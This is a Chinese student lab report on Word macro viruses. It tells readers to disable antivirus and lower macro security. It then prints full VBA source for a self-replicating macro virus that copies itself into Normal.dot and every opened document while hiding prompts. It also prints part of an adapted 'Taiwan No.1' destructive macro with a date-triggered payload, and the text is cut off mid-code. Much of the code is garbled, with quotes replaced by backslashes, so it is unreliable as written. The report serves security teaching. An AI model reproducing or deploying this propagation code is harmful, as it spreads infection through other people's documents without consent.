实验五 宏病毒分析及清除实验
姓名:xxx 学号:xxxxxxxx 日期:2014年4月26日 专业:计算机科学与技术
一、实验目的
? 了解“宏病毒”机理; ? 掌握清除宏病毒的方法;
? 掌握采用“宏”和脚本语言进行编程的技术。
二、实验环境
? Windows 2003操作系统;
? Office Word 2003字处理软件。
三、实验内容
1.软件设置
关闭杀毒软件;打开Word字处理软件,在工具“宏”的“安全性”中,将“安全级”设置为低,在“可靠发行商”选项卡中,选择信任任何所有安装的加载项和模板,选择“信任visual basic项目的访问”。
注意:为了保证该实验不至于造成较大的破坏性,进行实验感染后,被感染终端不要打开过多的word文档,否则清除比较麻烦(对每个打开过的文档都要清除)。
2.自我复制功能演示
打开一个word文档,然后按Alt+F11调用宏编写窗口(工具“宏” “Visual Basic宏编辑器”),在左侧的“project—>Microsoft Word”对象“ThisDocument”中输入以下代码(Macro-1),保存,此时当前word文档就含有宏病毒,只要下次打开这个word文档,就会执行以上代码,并将自身复制到Normal.dot(word文档的公共模板)和当前文档的ThisDocument中,同时改变函数名(模板中为Document_Close,当前文档为Document_Open),此时所有的word文档打开和关闭时,都将运行以上的病毒代码,可以加入适当的恶意代码,影响word的正常使用,本例中只是简单的跳出一个提示框。
完整代码如下:
1
'Macro-1:Micro-Virus Sub Document_Open() On Error Resume Next
Application.DisplayStatusBar = False Options.SaveNormalPrompt = False
Set ourcodemodule = ThisDocument.VBProject.VBComponents(1).CodeModule Set host = NormalTemplate.VBProject.VBComponents(1).CodeModule If ThisDocument = NormalTemplate Then
Set host = ActiveDocument.VBProject.VBComponents(1).CodeModule End If With host
If .Lines(1, 1) <> \ .DeleteLines 1, .CountOfLines .InsertLines 1, ourcodemodule.Lines(1, 100) .ReplaceLine 2, \ If ThisDocument = NormalTemplate Then .ReplaceLine 2, \ ActiveDocument.SaveAs ActiveDocument.FullName End If End If End With
MsgBox \End Sub
以上代码的基本执行流程如下: 1) 进行必要的自我保护:
Application.DisplayStatusBar = False Options.SaveNormalPrompt = False
病毒编写者的自我保护做得非常好,可以使word的一些工具栏失效,例如将工具菜单中的宏选项屏蔽,也可以修改注册表达到很好的隐藏效果。
2
本例中只是屏蔽状态栏,以免显示宏的运行状态,并且修改公用模板时自动保存,不给用户提示。
2) 得到当前文档的代码对象和公用模板的代码对象:
Set ourcodemodule = ThisDocument.VBProject.VBComponents(1).CodeModule Set host = NormalTemplate.VBProject.VBComponents(1).CodeModule If ThisDocument = NormalTemplate Then
Set host = ActiveDocument.VBProject.VBComponents(1).CodeModule End If
3) 检查模板是否已经感染病毒,如果没有,则复制宏病毒代码到模板,并且修改函数名:
With Host
If .Lines(1.1) <> \ .DeleteLines 1, .CountOfLines .InsertLines 1, Ourcode
.ReplaceLine 2, \
If ThisDocument = nomaltemplate Then
.ReplaceLine 2, \
ActiveDocument.SaveAs ActiveDocument.FullName End If End If End With
4) 执行恶意代码
MsgBox \
3.具有一定破坏性的宏
我们可以对上例中的恶意代码稍加修改,使其具有一定的破坏性(这里以著名宏病毒“台湾一号”的恶意代码部分为基础,为使其在word 2003版本中运行,且降低破坏性,对源代码作适当修改,参见如下源代码(Macro_2)。
完整代码如下:
'Macro_2:moonlight Dim nm(4)
3
Sub Document_Open() 'DisableInput 1
Set ourcodemodule = ThisDocument.VBProject.VBComponents(1).CodeModule Set host = NormalTemplate.VBProject.VBComponents(1).CodeModule If ThisDocument = NormalTemplate Then
Set host = ActiveDocument.VBProject.VBComponents(1).CodeModule End If With host
If .Lines(1, 1) <> \ .DeleteLines 1, .CountOfLines
.InsertLines 1, ourcodemodule.Lines(1, 100) .ReplaceLine 3, \ If ThisDocument = NormalTemplate Then .ReplaceLine 3, \
ActiveDocument.SaveAs ActiveDocument.FullName End If End If End With Count = 0
If Year(Now()) = 2013 Then try:
On Error GoTo try test = -1 con = 1 tog$ = \ i = 0
While test = -1 For i = 0 To 4
nm(i) = Int(Rnd() * 10) con = con * nm(i)
4
If i = 4 Then
tog$ = tog$ + Str$(nm(4)) + \ GoTo beg End If
tog$ = tog$ + Str$(nm(i)) + \ Next i beg:
Beep
ans$ = InputBox$(\今天是\跟你玩一个心算游戏\若你答错,只好接受震撼教育......\台湾NO.1 Macro Virus\ If RTrim$(LTrim$(ans$)) = LTrim$(Str$(con)) Then Documents.Add
Selection.Paragraphs.Alignment = wdAlignParagraphCenter Beep
With Selection.Font .Name = \细明体\ .Size = 16 .Bold = 1 .Underline = 1 End With
Selection.InsertAfter Text:=\何谓宏病毒\ Selection.InsertParagraphAfter Beep
Selection.InsertAfter Text:=\答案:\ Selection.Font.Italic = 1
Selection.InsertAfter Text:=\我就是......\ Selection.InsertParagraphAfter Selection.InsertParagraphAfter Selection.Font.Italic = 0 Beep
5